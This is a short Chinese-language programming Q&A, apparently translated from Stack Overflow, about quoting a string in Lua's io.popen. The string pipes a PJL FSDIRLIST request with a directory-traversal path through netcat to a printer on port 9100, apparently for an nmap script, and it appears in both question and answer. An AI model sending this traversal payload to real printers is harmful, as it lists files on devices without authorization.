Lua popen有字符串参数

时间:2014-12-18 18:39:52

标签: lua

我正在尝试使用popen将包含多个引号的字符串传递给netcat。我有一个Python命令工作正常,但我把它变成一个nmap脚本。我对Lua并不熟悉。

Python版本:

python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100

Lua尝试了版本:

local handle = assert(io.popen("python -c 'print \"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a\"' | nc " .. host .. " " .. port, "r"))

这会导致以下错误:

File "<string>", line 1
    print "2345X@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 COUNT=999999

有没有办法组织该字符串以便Lua接受它?

1 个答案:

答案 0 :(得分:2)

尝试使用长字符串

[[python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100]]